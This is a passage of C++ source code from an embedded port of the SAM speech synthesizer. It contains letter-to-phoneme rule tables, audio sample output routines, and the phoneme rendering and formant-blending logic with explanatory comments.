0x80, '(', 'Q', 'U', ')', '=', 'K', - 'W' | 0x80, '(', 'Q', ')', '=', 'K' | 0x80, ']', 'R' | 0x80, - ' ', '(', 'R', ')', ' ', '=', 'A', 'A', - '5', 'R' | 0x80, ' ', '(', 'R', 'E', ')', '^', - '#', '=', 'R', 'I', 'Y' | 0x80, '(', 'R', ')', - 'R', '=' | 0x80, '(', 'R', ')', '=', 'R' | 0x80, - - ']', 'S' | 0x80, ' ', '(', 'S', ')', ' ', '=', - 'E', 'H', '4', 'S' | 0x80, '(', 'S', 'H', ')', - '=', 'S', 'H' | 0x80, '#', '(', 'S', 'I', 'O', - 'N', ')', '=', 'Z', 'H', 'U', 'N' | 0x80, '(', - 'S', 'O', 'M', 'E', ')', '=', 'S', 'A', - 'H', 'M' | 0x80, '#', '(', 'S', 'U', 'R', ')', - '#', '=', 'Z', 'H', 'E', 'R' | 0x80, '(', 'S', - 'U', 'R', ')', '#', '=', 'S', 'H', 'E', - 'R' | 0x80, '#', '(', 'S', 'U', ')', '#', '=', - 'Z', 'H', 'U', 'W' | 0x80, '#', '(', 'S', 'S', - 'U', ')', '#', '=', 'S', 'H', 'U', 'W' | 0x80, - '#', '(', 'S', 'E', 'D', ')', '=', 'Z', - 'D' | 0x80, '#', '(', 'S', ')', '#', '=', 'Z' | 0x80, - '(', 'S', 'A', 'I', 'D', ')', '=', 'S', - 'E', 'H', 'D' | 0x80, '^', '(', 'S', 'I', 'O', - 'N', ')', '=', 'S', 'H', 'U', 'N' | 0x80, '(', - 'S', ')', 'S', '=' | 0x80, '.', '(', 'S', ')', - ' ', '=', 'Z' | 0x80, '#', ':', '.', 'E', '(', - 'S', ')', ' ', '=', 'Z' | 0x80, '#', ':', '^', - '#', '(', 'S', ')', ' ', '=', 'S' | 0x80, 'U', - '(', 'S', ')', ' ', '=', 'S' | 0x80, ' ', ':', - '#', '(', 'S', ')', ' ', '=', 'Z' | 0x80, '#', - '#', '(', 'S', ')', ' ', '=', 'Z' | 0x80, ' ', - '(', 'S', 'C', 'H', ')', '=', 'S', 'K' | 0x80, - '(', 'S', ')', 'C', '+', '=' | 0x80, '#', '(', - 'S', 'M', ')', '=', 'Z', 'U', 'M' | 0x80, '#', - '(', 'S', 'N', ')', '\'', '=', 'Z', 'U', - 'M' | 0x80, '(', 'S', 'T', 'L', 'E', ')', '=', - 'S', 'U', 'L' | 0x80, '(', 'S', ')', '=', 'S' | 0x80, - - ']', 'T' | 0x80, ' ', '(', 'T', ')', ' ', '=', - 'T', 'I', 'Y', '4' | 0x80, ' ', '(', 'T', 'H', - 'E', ')', ' ', '#', '=', 'D', 'H', 'I', - 'Y' | 0x80, ' ', '(', 'T', 'H', 'E', ')', ' ', - '=', 'D', 'H', 'A', 'X' | 0x80, '(', 'T', 'O', - ')', ' ', '=', 'T', 'U', 'X' | 0x80, ' ', '(', - 'T', 'H', 'A', 'T', ')', '=', 'D', 'H', - 'A', 'E', 'T' | 0x80, ' ', '(', 'T', 'H', 'I', - 'S', ')', ' ', '=', 'D', 'H', 'I', 'H', - 'S' | 0x80, ' ', '(', 'T', 'H', 'E', 'Y', ')', - '=', 'D', 'H', 'E', 'Y' | 0x80, ' ', '(', 'T', - 'H', 'E', 'R', 'E', ')', '=', 'D', 'H', - 'E', 'H', 'R' | 0x80, '(', 'T', 'H', 'E', 'R', - ')', '=', 'D', 'H', 'E', 'R' | 0x80, '(', 'T', - 'H', 'E', 'I', 'R', ')', '=', 'D', 'H', - 'E', 'H', 'R' | 0x80, ' ', '(', 'T', 'H', 'A', - 'N', ')', ' ', '=', 'D', 'H', 'A', 'E', - 'N' | 0x80, ' ', '(', 'T', 'H', 'E', 'M', ')', - ' ', '=', 'D', 'H', 'A', 'E', 'N' | 0x80, '(', - 'T', 'H', 'E', 'S', 'E', ')', ' ', '=', - 'D', 'H', 'I', 'Y', 'Z' | 0x80, ' ', '(', 'T', - 'H', 'E', 'N', ')', '=', 'D', 'H', 'E', - 'H', 'N' | 0x80, '(', 'T', 'H', 'R', 'O', 'U', - 'G', 'H', ')', '=', 'T', 'H', 'R', 'U', - 'W', '4' | 0x80, '(', 'T', 'H', 'O', 'S', 'E', - ')', '=', 'D', 'H', 'O', 'H', 'Z' | 0x80, '(', - 'T', 'H', 'O', 'U', 'G', 'H', ')', ' ', - '=', 'D', 'H', 'O', 'W' | 0x80, '(', 'T', 'O', - 'D', 'A', 'Y', ')', '=', 'T', 'U', 'X', - 'D', 'E', 'Y' | 0x80, '(', 'T', 'O', 'M', 'O', - ')', 'R', 'R', 'O', 'W', '=', 'T', 'U', - 'M', 'A', 'A', '5' | 0x80, '(', 'T', 'O', ')', - 'T', 'A', 'L', '=', 'T', 'O', 'W', '5' | 0x80, - ' ', '(', 'T', 'H', 'U', 'S', ')', '=', - 'D', 'H', 'A', 'H', '4', 'S' | 0x80, '(', 'T', - 'H', ')', '=', 'T', 'H' | 0x80, '#', ':', '(', - 'T', 'E', 'D', ')', '=', 'T', 'I', 'X', - 'D' | 0x80, 'S', '(', 'T', 'I', ')', '#', 'N', - '=', 'C', 'H' | 0x80, '(', 'T', 'I', ')', 'O', - '=', 'S', 'H' | 0x80, '(', 'T', 'I', ')', 'A', - '=', 'S', 'H' | 0x80, '(', 'T', 'I', 'E', 'N', - ')', '=', 'S', 'H', 'U', 'N' | 0x80, '(', 'T', - 'U', 'R', ')', '#', '=', 'C', 'H', 'E', - 'R' | 0x80, '(', 'T', 'U', ')', 'A', '=', 'C', - 'H', 'U', 'W' | 0x80, ' ', '(', 'T', 'W', 'O', - ')', '=', 'T', 'U', 'W' | 0x80, '&', '(', 'T', - ')', 'E', 'N', ' ', '=' | 0x80, '(', 'T', ')', - '=', 'T' | 0x80, - - ']', 'U' | 0x80, ' ', '(', 'U', ')', ' ', '=', - 'Y', 'U', 'W', '4' | 0x80, ' ', '(', 'U', 'N', - ')', 'I', '=', 'Y', 'U', 'W', 'N' | 0x80, ' ', - '(', 'U', 'N', ')', '=', 'A', 'H', 'N' | 0x80, - ' ', '(', 'U', 'P', 'O', 'N', ')', '=', - 'A', 'X', 'P', 'A', 'O', 'N' | 0x80, '@', '(', - 'U', 'R', ')', '#', '=', 'U', 'H', '4', - 'R' | 0x80, '(', 'U', 'R', ')', '#', '=', 'Y', - 'U', 'H', '4', 'R' | 0x80, '(', 'U', 'R', ')', - '=', 'E', 'R' | 0x80, '(', 'U', ')', '^', ' ', - '=', 'A', 'H' | 0x80, '(', 'U', ')', '^', '^', - '=', 'A', 'H', '5' | 0x80, '(', 'U', 'Y', ')', - '=', 'A', 'Y', '5' | 0x80, ' ', 'G', '(', 'U', - ')', '#', '=' | 0x80, 'G', '(', 'U', ')', '%', - '=' | 0x80, 'G', '(', 'U', ')', '#', '=', 'W' | 0x80, - '#', 'N', '(', 'U', ')', '=', 'Y', 'U', - 'W' | 0x80, '@', '(', 'U', ')', '=', 'U', 'W' | 0x80, - '(', 'U', ')', '=', 'Y', 'U', 'W' | 0x80, - - ']', 'V' | 0x80, ' ', '(', 'V', ')', ' ', '=', - 'V', 'I', 'Y', '4' | 0x80, '(', 'V', 'I', 'E', - 'W', ')', '=', 'V', 'Y', 'U', 'W', '5' | 0x80, - '(', 'V', ')', '=', 'V' | 0x80, - - ']', 'W' | 0x80, ' ', '(', 'W', ')', ' ', '=', - 'D', 'A', 'H', '4', 'B', 'U', 'L', 'Y', - 'U', 'W' | 0x80, ' ', '(', 'W', 'E', 'R', 'E', - ')', '=', 'W', 'E', 'R' | 0x80, '(', 'W', 'A', - ')', 'S', 'H', '=', 'W', 'A', 'A' | 0x80, '(', - 'W', 'A', ')', 'S', 'T', '=', 'W', 'E', - 'Y' | 0x80, '(', 'W', 'A', ')', 'S', '=', 'W', - 'A', 'H' | 0x80, '(', 'W', 'A', ')', 'T', '=', - 'W', 'A', 'A' | 0x80, '(', 'W', 'H', 'E', 'R', - 'E', ')', '=', 'W', 'H', 'E', 'H', 'R' | 0x80, - '(', 'W', 'H', 'A', 'T', ')', '=', 'W', - 'H', 'A', 'H', 'T' | 0x80, '(', 'W', 'H', 'O', - 'L', ')', '=', '/', 'H', 'O', 'W', 'L' | 0x80, - '(', 'W', 'H', 'O', ')', '=', '/', 'H', - 'U', 'W' | 0x80, '(', 'W', 'H', ')', '=', 'W', - 'H' | 0x80, '(', 'W', 'A', 'R', ')', '#', '=', - 'W', 'E', 'H', 'R' | 0x80, '(', 'W', 'A', 'R', - ')', '=', 'W', 'A', 'O', 'R' | 0x80, '(', 'W', - 'O', 'R', ')', '^', '=', 'W', 'E', 'R' | 0x80, - '(', 'W', 'R', ')', '=', 'R' | 0x80, '(', 'W', - 'O', 'M', ')', 'A', '=', 'W', 'U', 'H', - 'M' | 0x80, '(', 'W', 'O', 'M', ')', 'E', '=', - 'W', 'I', 'H', 'M' | 0x80, '(', 'W', 'E', 'A', - ')', 'R', '=', 'W', 'E', 'H' | 0x80, '(', 'W', - 'A', 'N', 'T', ')', '=', 'W', 'A', 'A', - '5', 'N', 'T' | 0x80, 'A', 'N', 'S', '(', 'W', - 'E', 'R', ')', '=', 'E', 'R' | 0x80, '(', 'W', - ')', '=', 'W' | 0x80, - - ']', 'X' | 0x80, ' ', '(', 'X', ')', ' ', '=', - 'E', 'H', '4', 'K', 'R' | 0x80, ' ', '(', 'X', - ')', '=', 'Z' | 0x80, '(', 'X', ')', '=', 'K', - 'S' | 0x80, - - ']', 'Y' | 0x80, ' ', '(', 'Y', ')', ' ', '=', - 'W', 'A', 'Y', '4' | 0x80, '(', 'Y', 'O', 'U', - 'N', 'G', ')', '=', 'Y', 'A', 'H', 'N', - 'X' | 0x80, ' ', '(', 'Y', 'O', 'U', 'R', ')', - '=', 'Y', 'O', 'H', 'R' | 0x80, ' ', '(', 'Y', - 'O', 'U', ')', '=', 'Y', 'U', 'W' | 0x80, ' ', - '(', 'Y', 'E', 'S', ')', '=', 'Y', 'E', - 'H', 'S' | 0x80, ' ', '(', 'Y', ')', '=', 'Y' | 0x80, - 'F', '(', 'Y', ')', '=', 'A', 'Y' | 0x80, 'P', - 'S', '(', 'Y', 'C', 'H', ')', '=', 'A', - 'Y', 'K' | 0x80, '#', ':', '^', '(', 'Y', ')', - '=', 'I', 'Y' | 0x80, '#', ':', '^', '(', 'Y', - ')', 'I', '=', 'I', 'Y' | 0x80, ' ', ':', '(', - 'Y', ')', ' ', '=', 'A', 'Y' | 0x80, ' ', ':', - '(', 'Y', ')', '#', '=', 'A', 'Y' | 0x80, ' ', - ':', '(', 'Y', ')', '^', '+', ':', '#', - '=', 'I', 'H' | 0x80, ' ', ':', '(', 'Y', ')', - '^', '#', '=', 'A', 'Y' | 0x80, '(', 'Y', ')', - '=', 'I', 'H' | 0x80, - - ']', 'Z' | 0x80, ' ', '(', 'Z', ')', ' ', '=', - 'Z', 'I', 'Y', '4' | 0x80, '(', 'Z', ')', '=', - 'Z' | 0x80, 'j' | 0x80}; - -const unsigned char rules2[] = { - '(', 'A', ')', '=' | 0x80, '(', '!', ')', '=', - '.' | 0x80, '(', '"', ')', ' ', '=', '-', 'A', - 'H', '5', 'N', 'K', 'W', 'O', 'W', 'T', - '-' | 0x80, '(', '"', ')', '=', 'K', 'W', 'O', - 'W', '4', 'T', '-' | 0x80, '(', '#', ')', '=', - ' ', 'N', 'A', 'H', '4', 'M', 'B', 'E', - 'R' | 0x80, '(', '$', ')', '=', ' ', 'D', 'A', - 'A', '4', 'L', 'E', 'R' | 0x80, '(', '%', ')', - '=', ' ', 'P', 'E', 'R', 'S', 'E', 'H', - '4', 'N', 'T' | 0x80, '(', '&', ')', '=', ' ', - 'A', 'E', 'N', 'D' | 0x80, '(', '\'', ')', '=' | 0x80, - '(', '*', ')', '=', ' ', 'A', 'E', '4', - 'S', 'T', 'E', 'R', 'I', 'H', 'S', 'K' | 0x80, - '(', '+', ')', '=', ' ', 'P', 'L', 'A', - 'H', '4', 'S' | 0x80, '(', ',', ')', '=', ',' | 0x80, - ' ', '(', '-', ')', ' ', '=', '-' | 0x80, '(', - '-', ')', '=' | 0x80, '(', '.', ')', '=', ' ', - 'P', 'O', 'Y', 'N', 'T' | 0x80, '(', '/', ')', - '=', ' ', 'S', 'L', 'A', 'E', '4', 'S', - 'H' | 0x80, '(', '0', ')', '=', ' ', 'Z', 'I', - 'Y', '4', 'R', 'O', 'W' | 0x80, ' ', '(', '1', - 'S', 'T', ')', '=', 'F', 'E', 'R', '4', - 'S', 'T' | 0x80, ' ', '(', '1', '0', 'T', 'H', - ')', '=', 'T', 'E', 'H', '4', 'N', 'T', - 'H' | 0x80, '(', '1', ')', '=', ' ', 'W', 'A', - 'H', '4', 'N' | 0x80, ' ', '(', '2', 'N', 'D', - ')', '=', 'S', 'E', 'H', '4', 'K', 'U', - 'N', 'D' | 0x80, '(', '2', ')', '=', ' ', 'T', - 'U', 'W', '4' | 0x80, ' ', '(', '3', 'R', 'D', - ')', '=', 'T', 'H', 'E', 'R', '4', 'D' | 0x80, - '(', '3', ')', '=', ' ', 'T', 'H', 'R', - 'I', 'Y', '4' | 0x80, '(', '4', ')', '=', ' ', - 'F', 'O', 'H', '4', 'R' | 0x80, ' ', '(', '5', - 'T', 'H', ')', '=', 'F', 'I', 'H', '4', - 'F', 'T', 'H' | 0x80, '(', '5', ')', '=', ' ', - 'F', 'A', 'Y', '4', 'V' | 0x80, ' ', '(', '6', - '4', ')', ' ', '=', 'S', 'I', 'H', '4', - 'K', 'S', 'T', 'I', 'Y', ' ', 'F', 'O', - 'H', 'R' | 0x80, '(', '6', ')', '=', ' ', 'S', - 'I', 'H', '4', 'K', 'S' | 0x80, '(', '7', ')', - '=', ' ', 'S', 'E', 'H', '4', 'V', 'U', - 'N' | 0x80, ' ', '(', '8', 'T', 'H', ')', '=', - 'E', 'Y', '4', 'T', 'H' | 0x80, '(', '8', ')', - '=', ' ', 'E', 'Y', '4', 'T' | 0x80, '(', '9', - ')', '=', ' ', 'N', 'A', 'Y', '4', 'N' | 0x80, - '(', ':', ')', '=', '.' | 0x80, '(', ';', ')', - '=', '.' | 0x80, '(', '<', ')', '=', ' ', 'L', - 'E', 'H', '4', 'S', ' ', 'D', 'H', 'A', - 'E', 'N' | 0x80, '(', '=', ')', '=', ' ', 'I', - 'Y', '4', 'K', 'W', 'U', 'L', 'Z' | 0x80, '(', - '>', ')', '=', ' ', 'G', 'R', 'E', 'Y', - '4', 'T', 'E', 'R', ' ', 'D', 'H', 'A', - 'E', 'N' | 0x80, '(', '?', ')', '=', '?' | 0x80, '(', - '@', ')', '=', ' ', 'A', 'E', '6', 'T' | 0x80, - '(', '^', ')', '=', ' ', 'K', 'A', 'E', - '4', 'R', 'I', 'X', 'T' | 0x80, ']', 'A' | 0x80}; - -//26 items. From 'A' to 'Z' -// positions for mem62 and mem63 for each character -const unsigned char tab37489[] = {0, 149, 247, 162, 57, 197, 6, 126, 199, 38, 55, 78, 145, - 241, 85, 161, 254, 36, 69, 45, 167, 54, 83, 46, 71, 218}; - -const unsigned char tab37515[] = {125, 126, 126, 127, 128, 129, 130, 130, 130, 132, 132, 132, 132, - 132, 133, 135, 135, 136, 136, 137, 138, 139, 139, 140, 140, 140}; - -void STM32SAM::Output8BitAry(int index, unsigned char ary[5]) { - int k; - - uint32_t bufferposOld = bufferpos; - - bufferpos += timetable[oldtimetableindex][index]; - oldtimetableindex = index; - - int sample_uS = bufferpos - bufferposOld; - - uint32_t f = 0; - - // write a little bit in advance - for(k = 0; k < 5; k++) { - // buffer[bufferpos / 50 + k] = ary[k]; - - // f = micros() + sample_uS / (_STM32SAM_SPEED + 1); - // while(micros() < f) { - // }; - f = sample_uS / (_STM32SAM_SPEED + 1); - furi_delay_us(f); - SetAUDIO(ary[k]); - // delayMicroseconds(sample_uS / 5 ); - } - - // SetAUDIO(ary[0]); -} - -void STM32SAM::Output8Bit(int index, unsigned char A) { - unsigned char ary[5] = {A, A, A, A, A}; - Output8BitAry(index, ary); -} - -//written by me because of different table positions. -// mem[47] = ... -// 168=pitches -// 169=frequency1 -// 170=frequency2 -// 171=frequency3 -// 172=amplitude1 -// 173=amplitude2 -// 174=amplitude3 -unsigned char STM32SAM::Read(unsigned char p, unsigned char Y) { - switch(p) { - case 168: - return pitches[Y]; - case 169: - return frequency1[Y]; - case 170: - return frequency2[Y]; - case 171: - return frequency3[Y]; - case 172: - return amplitude1[Y]; - case 173: - return amplitude2[Y]; - case 174: - return amplitude3[Y]; - } - // Serial1.println("Error reading to tables"); - return 0; -} - -void STM32SAM::Write(unsigned char p, unsigned char Y, unsigned char value) { - switch(p) { - case 168: - pitches[Y] = value; - return; - case 169: - frequency1[Y] = value; - return; - case 170: - frequency2[Y] = value; - return; - case 171: - frequency3[Y] = value; - return; - case 172: - amplitude1[Y] = value; - return; - case 173: - amplitude2[Y] = value; - return; - case 174: - amplitude3[Y] = value; - return; - } - //Serial1.println("Error writing to tables\n"); -} - -// ------------------------------------------------------------------------- -//Code48227 -// Render a sampled sound from the sampleTable. -// -// Phoneme Sample Start Sample End -// 32: S* 15 255 -// 33: SH 257 511 -// 34: F* 559 767 -// 35: TH 583 767 -// 36: /H 903 1023 -// 37: /X 1135 1279 -// 38: Z* 84 119 -// 39: ZH 340 375 -// 40: V* 596 639 -// 41: DH 596 631 -// -// 42: CH -// 43: ** 399 511 -// -// 44: J* -// 45: ** 257 276 -// 46: ** -// -// 66: P* -// 67: ** 743 767 -// 68: ** -// -// 69: T* -// 70: ** 231 255 -// 71: ** -// -// The SampledPhonemesTable[] holds flags indicating if a phoneme is -// voiced or not. If the upper 5 bits are zero, the sample is voiced. -// -// Samples in the sampleTable are compressed, with bits being converted to -// bytes from high bit to low, as follows: -// -// unvoiced 0 bit -> X -// unvoiced 1 bit -> 5 -// -// voiced 0 bit -> 6 -// voiced 1 bit -> 24 -// -// Where X is a value from the table: -// -// { 0x18, 0x1A, 0x17, 0x17, 0x17 }; -// -// The index into this table is determined by masking off the lower -// 3 bits from the SampledPhonemesTable: -// -// index = (SampledPhonemesTable[i] & 7) - 1; -// -// For voices samples, samples are interleaved between voiced output. - -// Code48227() -void STM32SAM::RenderSample(unsigned char* mem66) { - int tempA; - // current phoneme's index - mem49 = Y; - - // mask low three bits and subtract 1 get value to - // convert 0 bits on unvoiced samples. - A = mem39 & 7; - X = A - 1; - - // store the result - mem56 = X; - - // determine which offset to use from table { 0x18, 0x1A, 0x17, 0x17, 0x17 } - // T, S, Z 0 0x18 - // CH, J, SH, ZH 1 0x1A - // P, F*, V, TH, DH 2 0x17 - // /H 3 0x17 - // /X 4 0x17 - - // get value from the table - mem53 = tab48426[X]; - mem47 = X; //46016+mem[56]*256 - - // voiced sample? - A = mem39 & 248; - if(A == 0) { - // voiced phoneme: Z*, ZH, V*, DH - Y = mem49; - A = pitches[mem49] >> 4; - - // jump to voiced portion - goto pos48315; - } - - Y = A ^ 255; -pos48274: - - // step through the 8 bits in the sample - mem56 = 8; - - // get the next sample from the table - // mem47*256 = offset to start of samples - A = sampleTable[mem47 * 256 + Y]; -pos48280: - - // left shift to get the high bit - tempA = A; - A = A << 1; - //48281: BCC 48290 - - // bit not set? - if((tempA & 128) == 0) { - // convert the bit to value from table - X = mem53; - //mem[54296] = X; - // output the byte - Output8Bit(1, (X & 0x0f) * 16); - // if X != 0, exit loop - if(X != 0) goto pos48296; - } - - // output a 5 for the on bit - Output8Bit(2, 5 * 16); - - //48295: NOP -pos48296: - - X = 0; - - // decrement counter - mem56--; - - // if not done, jump to top of loop - if(mem56 != 0) goto pos48280; - - // increment position - Y++; - if(Y != 0) goto pos48274; - - // restore values and return - mem44 = 1; - Y = mem49; - return; - - unsigned char phase1; - -pos48315: - // handle voiced samples here - - // number of samples? - phase1 = A ^ 255; - - Y = *mem66; - do { - //pos48321: - - // shift through all 8 bits - mem56 = 8; - //A = Read(mem47, Y); - - // fetch value from table - A = sampleTable[mem47 * 256 + Y]; - - // loop 8 times - //pos48327: - do { - //48327: ASL A - //48328: BCC 48337 - - // left shift and check high bit - tempA = A; - A = A << 1; - if((tempA & 128) != 0) { - // if bit set, output 26 - X = 26; - Output8Bit(3, (X & 0xf) * 16); - } else { - //timetable 4 - // bit is not set, output a 6 - X = 6; - Output8Bit(4, (X & 0xf) * 16); - } - - mem56--; - } while(mem56 != 0); - - // move ahead in the table - Y++; - - // continue until counter done - phase1++; - - } while(phase1 != 0); - // if (phase1 != 0) goto pos48321; - - // restore values and return - A = 1; - mem44 = 1; - *mem66 = Y; - Y = mem49; - return; -} - -// RENDER THE PHONEMES IN THE LIST -// -// The phoneme list is converted into sound through the steps: -// -// 1. Copy each phoneme number of times into the frames list, -// where each frame represents 10 milliseconds of sound. -// -// 2. Determine the transitions lengths between phonemes, and linearly -// interpolate the values across the frames. -// -// 3. Offset the pitches by the fundamental frequency. -// -// 4. Render the each frame. - -//void Code47574() -void STM32SAM::Render() { - unsigned char phase1 = 0; //mem43 - unsigned char phase2 = 0; - unsigned char phase3 = 0; - unsigned char mem66 = 0; - unsigned char mem38 = 0; - unsigned char mem40 = 0; - unsigned char speedcounter = 0; //mem45 - unsigned char mem48 = 0; - int i; - if(phonemeIndexOutput[0] == 255) return; //exit if no data - - A = 0; - X = 0; - mem44 = 0; - - // CREATE FRAMES - // - // The length parameter in the list corresponds to the number of frames - // to expand the phoneme to. Each frame represents 10 milliseconds of time. - // So a phoneme with a length of 7 = 7 frames = 70 milliseconds duration. - // - // The parameters are copied from the phoneme to the frame verbatim. - - // pos47587: - do { - // get the index - Y = mem44; - // get the phoneme at the index - A = phonemeIndexOutput[mem44]; - mem56 = A; - - // if terminal phoneme, exit the loop - if(A == 255) break; - - // period phoneme *. - if(A == 1) { - // add rising inflection - A = 1; - mem48 = 1; - //goto pos48376; - AddInflection(mem48, phase1); - } - /* - if (A == 2) goto pos48372; - */ - - // question mark phoneme? - if(A == 2) { - // create falling inflection - mem48 = 255; - AddInflection(mem48, phase1); - } - // pos47615: - - // get the stress amount (more stress = higher pitch) - phase1 = tab47492[stressOutput[Y] + 1]; - - // get number of frames to write - phase2 = phonemeLengthOutput[Y]; - Y = mem56; - - // copy from the source to the frames list - do { - frequency1[X] = freq1data[Y]; // F1 frequency - frequency2[X] = freq2data[Y]; // F2 frequency - frequency3[X] = freq3data[Y]; // F3 frequency - amplitude1[X] = ampl1data[Y]; // F1 amplitude - amplitude2[X] = ampl2data[Y]; // F2 amplitude - amplitude3[X] = ampl3data[Y]; // F3 amplitude - sampledConsonantFlag[X] = - sampledConsonantFlags[Y]; // phoneme data for sampled consonants - pitches[X] = pitch + phase1; // pitch - X++; - phase2--; - } while(phase2 != 0); - mem44++; - } while(mem44 != 0); - // ------------------- - //pos47694: - - // CREATE TRANSITIONS - // - // Linear transitions are now created to smoothly connect the - // end of one sustained portion of a phoneme to the following - // phoneme. - // - // To do this, three tables are used: - // - // Table Purpose - // ========= ================================================== - // blendRank Determines which phoneme's blend values are used. - // - // blendOut The number of frames at the end of the phoneme that - // will be used to transition to the following phoneme. - // - // blendIn The number of frames of the following phoneme that - // will be used to transition into that phoneme. - // - // In creating a transition between two phonemes, the phoneme - // with the HIGHEST rank is used. Phonemes are ranked on how much - // their identity is based on their transitions. For example, - // vowels are and diphthongs are identified by their sustained portion, - // rather than the transitions, so they are given low values. In contrast, - // stop consonants (P, B, T, K) and glides (Y, L) are almost entirely - // defined by their transitions, and are given high rank values. - // - // Here are the rankings used by SAM: - // - // Rank Type Phonemes - // 2 All vowels IY, IH, etc. - // 5 Diphthong endings YX, WX, ER - // 8 Terminal liquid consonants LX, WX, YX, N, NX - // 9 Liquid consonants L, RX, W - // 10 Glide R, OH - // 11 Glide WH - // 18 Voiceless fricatives S, SH, F, TH - // 20 Voiced fricatives Z, ZH, V, DH - // 23 Plosives, stop consonants P, T, K, KX, DX, CH - // 26 Stop consonants J, GX, B, D, G - // 27-29 Stop consonants (internal) ** - // 30 Unvoiced consonants /H, /X and Q* - // 160 Nasal M - // - // To determine how many frames to use, the two phonemes are - // compared using the blendRank[] table. The phoneme with the - // higher rank is selected. In case of a tie, a blend of each is used: - // - // if blendRank[phoneme1] == blendRank[phomneme2] - // // use lengths from each phoneme - // outBlendFrames = outBlend[phoneme1] - // inBlendFrames = outBlend[phoneme2] - // else if blendRank[phoneme1] > blendRank[phoneme2] - // // use lengths from first phoneme - // outBlendFrames = outBlendLength[phoneme1] - // inBlendFrames = inBlendLength[phoneme1] - // else - // // use lengths from the second phoneme - // // note that in and out are SWAPPED! - // outBlendFrames = inBlendLength[phoneme2] - // inBlendFrames = outBlendLength[phoneme2] - // - // Blend lengths can't be less than zero. - // - // Transitions are assumed to be symetrical, so if the transition - // values for the second phoneme are used, the inBlendLength and - // outBlendLength values are SWAPPED. - // - // For most of the parameters, SAM interpolates over the range of the last - // outBlendFrames-1 and the first inBlendFrames. - // - // The exception to this is the Pitch[] parameter, which is interpolates the - // pitch from the CENTER of the current phoneme to the CENTER of the next - // phoneme. - // - // Here are two examples. First, For example, consider the word "SUN" (S AH N) - // - // Phoneme Duration BlendWeight OutBlendFrames InBlendFrames - // S 2 18 1 3 - // AH 8 2 4 4 - // N 7 8 1 2 - // - // The formant transitions for the output frames are calculated as follows: - // - // flags ampl1 freq1 ampl2 freq2 ampl3 freq3 pitch - // ------------------------------------------------ - // S - // 241 0 6 0 73 0 99 61 Use S (weight 18) for transition instead of AH (weight 2) - // 241 0 6 0 73 0 99 61 <-- (OutBlendFrames-1) = (1-1) = 0 frames - // AH - // 0 2 10 2 66 0 96 59 * <-- InBlendFrames = 3 frames - // 0 4 14 3 59 0 93 57 * - // 0 8 18 5 52 0 90 55 * - // 0 15 22 9 44 1 87 53 - // 0 15 22 9 44 1 87 53 - // 0 15 22 9 44 1 87 53 Use N (weight 8) for transition instead of AH (weight 2). - // 0 15 22 9 44 1 87 53 Since N is second phoneme, reverse the IN and OUT values. - // 0 11 17 8 47 1 98 56 * <-- (InBlendFrames-1) = (2-1) = 1 frames - // N - // 0 8 12 6 50 1 109 58 * <-- OutBlendFrames = 1 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // - // Now, consider the reverse "NUS" (N AH S): - // - // flags ampl1 freq1 ampl2 freq2 ampl3 freq3 pitch - // ------------------------------------------------ - // N - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 - // 0 5 6 5 54 0 121 61 Use N (weight 8) for transition instead of AH (weight 2) - // 0 5 6 5 54 0 121 61 <-- (OutBlendFrames-1) = (1-1) = 0 frames - // AH - // 0 8 11 6 51 0 110 59 * <-- InBlendFrames = 2 - // 0 11 16 8 48 0 99 56 * - // 0 15 22 9 44 1 87 53 Use S (weight 18) for transition instead of AH (weight 2) - // 0 15 22 9 44 1 87 53 Since S is second phoneme, reverse the IN and OUT values. - // 0 9 18 5 51 1 90 55 * <-- (InBlendFrames-1) = (3-1) = 2 - // 0 4 14 3 58 1 93 57 * - // S - // 241 2 10 2 65 1 96 59 * <-- OutBlendFrames = 1 - // 241 0 6 0 73 0 99 61 - - A = 0; - mem44 = 0; - mem49 = 0; // mem49 starts at as 0 - X = 0; - while(1) //while No. 1 - { - // get the current and following phoneme - Y = phonemeIndexOutput[X]; - A = phonemeIndexOutput[X + 1]; - X++; - - // exit loop at end token - if(A == 255) break; //goto pos47970; - - // get the ranking of each phoneme - X = A; - mem56 = blendRank[A]; - A = blendRank[Y]; - - // compare the rank - lower rank value is stronger - if(A == mem56) { - // same rank, so use out blend lengths from each phoneme - phase1 = outBlendLength[Y]; - phase2 = outBlendLength[X]; - } else if(A < mem56) { - // first phoneme is stronger, so us it's blend lengths - phase1 = inBlendLength[X]; - phase2 = outBlendLength[X]; - } else { - // second phoneme is stronger, so use it's blend lengths - // note the out/in are swapped - phase1 = outBlendLength[Y]; - phase2 = inBlendLength[Y]; - } - - Y = mem44; - A = mem49 + phonemeLengthOutput[mem44]; // A is mem49 + length - mem49 = A; // mem49 now holds length + position - A = A + phase2; //Maybe Problem because of carry flag - - //47776: ADC 42 - speedcounter = A; - mem47 = 168; - phase3 = mem49 - phase1; // what is mem49 - A = phase1 + phase2; // total transition? - mem38 = A; - - X = A; - X -= 2; - if((X & 128) == 0) - do //while No. 2 - { - //pos47810: - - // mem47 is used to index the tables: - // 168 pitches[] - // 169 frequency1 - // 170 frequency2 - // 171 frequency3 - // 172 amplitude1 - // 173 amplitude2 - // 174 amplitude3 - - mem40 = mem38; - - if(mem47 == 168) // pitch - { - // unlike the other values, the pitches[] interpolates from - // the middle of the current phoneme to the middle of the - // next phoneme - - unsigned char mem36, mem37; - // half the width of the current phoneme - mem36 = phonemeLengthOutput[mem44] >> 1; - // half the width of the next phoneme - mem37 = phonemeLengthOutput[mem44 + 1] >> 1; - // sum the values - mem40 = mem36 + mem37; // length of both halves - mem37 += mem49; // center of next phoneme - mem36 = mem49 - mem36; // center index of current phoneme - A = Read( - mem47, mem37); // value at center of next phoneme - end interpolation value - //A = mem[address]; - - Y = mem36; // start index of interpolation - mem53 = A - Read(mem47, mem36); // value to center of current phoneme - } else { - // value to interpolate to - A = Read(mem47, speedcounter); - // position to start interpolation from - Y = phase3; - // value to interpolate from - mem53 = A - Read(mem47, phase3); - } - - //Code47503(mem40); - // ML : Code47503 is division with remainder, and mem50 gets the sign - - // calculate change per frame - signed char m53 = (signed char)mem53; - mem50 = mem53 & 128; - unsigned char m53abs = abs(m53); - mem51 = m53abs % mem40; //abs((char)m53) % 